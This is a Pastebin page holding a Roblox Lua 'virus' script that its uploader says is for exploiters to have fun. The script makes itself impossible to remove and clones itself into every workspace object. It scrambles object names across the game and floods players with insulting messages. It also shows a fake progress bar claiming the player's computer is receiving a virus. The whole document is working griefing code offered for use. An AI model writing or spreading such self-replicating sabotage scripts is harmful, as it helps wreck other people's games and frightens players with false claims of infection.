SansjustSans2

virus destrouction roblox script

Aug 7th, 2020
368
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. -- original by hackable
  2. -- imported to pastebin by me
  3. -- just some edits...
  4. -- idk why i made this maybe its just for exploiters to have fun maybe
  5. local s = Instance.new("Sound")
  6.  
  7. s.Name = "DIE"
  8. s.SoundId = "rbxassetid://2834088189"
  9. s.Volume = 1
  10. s.Looped = true
  11. s.archivable = false
  12.  
  13. s.Parent = game.Workspace
  14.  
  15. wait(5)
  16.  
  17. s:play()
  18.  
  19. local Settings={["Un_Removable"]= "On"}
  20. local function mFloor(x) return x - x % 1 end
  21. local Un_Removable = tostring(Settings["Un_Removable"]):lower() == "on"
  22. if Un_Removable then
  23.     Game.Workspace.DescendantRemoving:connect(function(Child)
  24.         if not Remove_At_Will and Child == script then
  25.             script:Clone().Parent = Game.Workspace
  26.         end
  27. end)
  28. end
  29.  
  30. while true do
  31. local m = Instance.new("Message")
  32. m.Parent = game.Workspace
  33. m.Text = "YAH10010 DID THIS"
  34. wait(0.1)
  35. local m = Instance.new("Message")
  36. m.Parent = game.Workspace
  37. m.Text = "YAH10010 DID THIS"
  38. wait(0.1)
  39. local m = Instance.new("Message")
  40. m.Parent = game.Workspace
  41. m.Text = "All people here are NOOBS!"
  42. wait(0.1)
  43. local m = Instance.new("Message")
  44. m.Parent = game.Workspace
  45. m.Text = "YAH10010 DID THIS"
  46. wait(0.1)
  47. local m = Instance.new("Message")
  48. m.Parent = game.Workspace
  49. m.Text = "YAH10010 DID THIS"
  50. wait(0.1)
  51. local m = Instance.new("Message")
  52. m.Parent = game.Workspace
  53. m.Text = "All people here are NOOBS!"
  54. wait(0.1)
  55. local m = Instance.new("Message")
  56. m.Parent = game.Workspace
  57. m.Text = "YAH10010 DID THIS"
  58. wait(0.1)
  59. local m = Instance.new("Message")
  60. m.Parent = game.Workspace
  61. m.Text = "All people here are NOOBS!"
  62. wait(0.1)
  63. local m = Instance.new("Message")
  64. m.Parent = game.Workspace
  65. m.Text = "All people here are NOOBS!"
  66. wait(0.1)
  67. local m = Instance.new("Message")
  68. m.Parent = game.Workspace
  69. m.Text = "All people here are NOOBS!"
  70. wait(0.1)
  71. local m = Instance.new("Message")
  72. m.Parent = game.Workspace
  73. m.Text = "All people here are NOOBS!"
  74. wait(0.1)
  75. local m = Instance.new("Message")
  76. m.Parent = game.Workspace
  77. m.Text = "All people here are NOOBS!"
  78. wait(0.1)
  79. local m = Instance.new("Message")
  80. m.Parent = game.Workspace
  81. m.Text = "All people here are NOOBS!"
  82. wait(0.1)
  83. local m = Instance.new("Message")
  84. m.Parent = game.Workspace
  85. m.Text = "All people here are NOOBS!"
  86. wait(0.1)
  87. local m = Instance.new("Message")
  88. m.Parent = game.Workspace
  89. m.Text = "All people here are NOOBS!"
  90. wait(0.1)
  91. local m = Instance.new("Message")
  92. m.Parent = game.Workspace
  93. m.Text = "All people here are NOOBS!"
  94. wait(0.1)
  95. local m = Instance.new("Message")
  96. m.Parent = game.Workspace
  97. m.Text = "All people here are NOOBS!"
  98. wait(0.1)
  99. local m = Instance.new("Message")
  100. m.Parent = game.Workspace
  101. m.Text = "All people here are NOOBS!"
  102. wait(0.1)
  103. local m = Instance.new("Message")
  104. m.Parent = game.Workspace
  105. m.Text = "All people here are NOOBS!"
  106. wait(0.1)
  107. local m = Instance.new("Message")
  108. m.Parent = game.Workspace
  109. m.Text = "All people here are NOOBS!"
  110. wait(0.1)  
  111. local m = Instance.new("Message")
  112. m.Parent = game.Workspace
  113. m.Text = "All people here are NOOBS!"
  114. wait(0.1)
  115. local m = Instance.new("Message")
  116. m.Parent = game.Workspace
  117. m.Text = "All people here are NOOBS!"
  118. wait(0.1)
  119. local m = Instance.new("Message")
  120. m.Parent = game.Workspace
  121. m.Text = "All people here are NOOBS!"
  122. wait(0.1)
  123. local m = Instance.new("Message")
  124. m.Parent = game.Workspace
  125. m.Text = "All people here are NOOBS!"
  126. wait(0.1)
  127. local m = Instance.new("Message")
  128. m.Parent = game.Workspace
  129. m.Text = "All people here are NOOBS!"
  130. wait(0.1)
  131. local m = Instance.new("Message")
  132. m.Parent = game.Workspace
  133. m.Text = "All people here are NOOBS!"
  134. wait(0.1)
  135. local m = Instance.new("Message")
  136. m.Parent = game.Workspace
  137. m.Text = "All people here are NOOBS!"
  138. wait(0.1)
  139. local m = Instance.new("Message")
  140. m.Parent = game.Workspace
  141. m.Text = "All people here are NOOBS!"
  142. wait(0.1)
  143. local m = Instance.new("Message")
  144. m.Parent = game.Workspace
  145. m.Text = "All people here are NOOBS!"
  146. wait(0.1)
  147. local m = Instance.new("Message")
  148. m.Parent = game.Workspace
  149. m.Text = "All people here are NOOBS!"
  150. wait(0.1)
  151. local m = Instance.new("Message")
  152. m.Parent = game.Workspace
  153. m.Text = "All people here are NOOBS!"
  154. wait(0.1)
  155. local m = Instance.new("Message")
  156. m.Parent = game.Workspace
  157. m.Text = "All people here are NOOBS!"
  158. wait(0.1)
  159. local m = Instance.new("Message")
  160. m.Parent = game.Workspace
  161. m.Text = "All people here are NOOBS!"
  162. wait(0.1)
  163. local m = Instance.new("Message")
  164. m.Parent = game.Workspace
  165. m.Text = "All people here are NOOBS!"
  166. wait(0.1)
  167. local m = Instance.new("Message")
  168. m.Parent = game.Workspace
  169. m.Text = "All people here are NOOBS!"
  170. wait(0.1)
  171. local m = Instance.new("Message")
  172. m.Parent = game.Workspace
  173. m.Text = "YOUR COMPUTER IS NOW GETTING A VIRUS!!"
  174. wait(5)
  175. local m = Instance.new("Message")
  176. m.Parent = game.Workspace
  177. m.Text = "VIRUS  [*]"
  178. wait(3)
  179. local m = Instance.new("Message")
  180. m.Parent = game.Workspace
  181. m.Text = "RECEIVING VIRUS [**---------]"
  182. wait(5)
  183. local m = Instance.new("Message")
  184. m.Parent = game.Workspace
  185. m.Text = "RECEIVING VIRUS [**---------]"
  186. wait(2)
  187. local m = Instance.new("Message")
  188. m.Parent = game.Workspace
  189. m.Text = "RECEIVING VIRUS [***--------]"
  190. wait(4)
  191. local m = Instance.new("Message")
  192. m.Parent = game.Workspace
  193. m.Text = "RECEIVING VIRUS [****-------]"
  194. wait(3)
  195. local m = Instance.new("Message")
  196. m.Parent = game.Workspace
  197. m.Text = "RECEIVING VIRUS [*****------]"
  198. wait(4)
  199. local m = Instance.new("Message")
  200. m.Parent = game.Workspace
  201. m.Text = "RECEIVING VIRUS [******-----]"
  202. wait(3)
  203. local m = Instance.new("Message")
  204. m.Parent = game.Workspace
  205. m.Text = "RECEIVING VIRUS [*******----]"
  206. wait(2)
  207. local m = Instance.new("Message")
  208. m.Parent = game.Workspace
  209. m.Text = "RECEIVING VIRUS [********---]"
  210. wait(3)
  211. local m = Instance.new("Message")
  212. m.Parent = game.Workspace
  213. m.Text = "RECEIVING VIRUS [*********--]"
  214. wait(3)
  215. local m = Instance.new("Message")
  216. m.Parent = game.Workspace
  217. m.Text = "RECEIVING VIRUS [**********-]"
  218. wait(4)
  219. local m = Instance.new("Message")
  220. m.Parent = game.Workspace
  221. m.Text = "RECEIVING VIRUS [***********]"
  222. wait(5)
  223. local m = Instance.new("Message")
  224. m.Parent = game.Workspace
  225. m.Text = "VIRUS WAS COMPLETE!!!!"
  226. wait(3)
  227. local m = Instance.new("Message")
  228. m.Parent = game.Workspace
  229. m.Text = "OMG VIRUS"
  230. wait(0.1)
  231. local m = Instance.new("Message")
  232. m.Parent = game.Workspace
  233. m.Text = "OMG VIRUS"
  234. wait(0.1)
  235. local m = Instance.new("Message")
  236. m.Parent = game.Workspace
  237. m.Text = "OMG VIRUS"
  238. wait(0.1)
  239. local m = Instance.new("Message")
  240. m.Parent = game.Workspace
  241. m.Text = "OMG VIRUS"
  242. wait(0.1)
  243. local m = Instance.new("Message")
  244. m.Parent = game.Workspace
  245. m.Text = "OMG VIRUS"
  246. wait(0.1)
  247. local m = Instance.new("Message")
  248. m.Parent = game.Workspace
  249. m.Text = "OMG VIRUS"
  250. wait(0.1)
  251. local m = Instance.new("Message")
  252. m.Parent = game.Workspace
  253. m.Text = "OMG VIRUS"
  254. wait(0.1)
  255. local m = Instance.new("Message")
  256. m.Parent = game.Workspace
  257. m.Text = "OMG VIRUS"
  258. wait(0.1)
  259. local m = Instance.new("Message")
  260. m.Parent = game.Workspace
  261. m.Text = "OMG VIRUS"
  262. wait(0.1)
  263. local m = Instance.new("Message")
  264. m.Parent = game.Workspace
  265. m.Text = "OMG VIRUS"
  266. wait(0.1)
  267. local m = Instance.new("Message")
  268. m.Parent = game.Workspace
  269. m.Text = "RESTART PC IMMEDIATELY TO ADD FURTHER DAMAGE."
  270. wait(10)    
  271.     wait(0.1) end
  272. script.Name = "Virus"
  273.  
  274. if script.Parent.className ~= "Weld" then
  275. w = Instance.new("Weld")
  276. w.Name = "Virus"
  277. w.Parent = script.Parent
  278. script.Parent = w
  279. end
  280.  
  281. function gc(o)
  282. for num,obj in ipairs(o:GetChildren()) do
  283. if obj.className ~= "Weld" then
  284. local string = ""
  285.  
  286. for a=1,math.random(10,100) do
  287. string = string .. string.char(math.random(1,200))
  288. end
  289. obj.Name = string
  290.  
  291. for num2,obj2 in ipairs(obj:GetChildren()) do
  292. gc(obj2)
  293. end
  294.  
  295. end
  296. end
  297. end
  298.  
  299. function Infect()
  300.  
  301. gc(workspace)
  302. gc(game.StarterPack)
  303. gc(game.Lighting)
  304.  
  305. end
  306.  
  307. function getchil(object)
  308.  
  309. local can = 0
  310.  
  311. if object.Name == "Virus" then
  312. if object.className == "Weld" or object.className == "Script" then
  313. can = 1
  314. end
  315. end
  316.  
  317. if object:FindFirstChild("Virus") then
  318. can = 2
  319. end
  320.  
  321. if can == 0 then
  322. local a = script:clone()
  323. a.Disabled = false
  324. a.Parent = object
  325. end
  326.  
  327. if can ~= 1 then
  328. for num,obj in ipairs(object:GetChildren()) do
  329. getchil(obj)
  330. end
  331. end
  332.  
  333. for num,obj in ipairs(object:GetChildren()) do
  334. getchil(obj)
  335. end
  336.  
  337. end
  338.  
  339. if workspace:FindFirstChild("Virus") == nil then
  340. getchil(workspace)
  341. end
  342.  
  343. infected = false
  344.  
  345. game.Players.ChildAdded:connect(function(p)
  346. if infected == true then return end
  347. if p.Name ~= "Player" then
  348. Infect(workspace)
  349. infected = true
  350. end
  351. end)
RAW Paste Data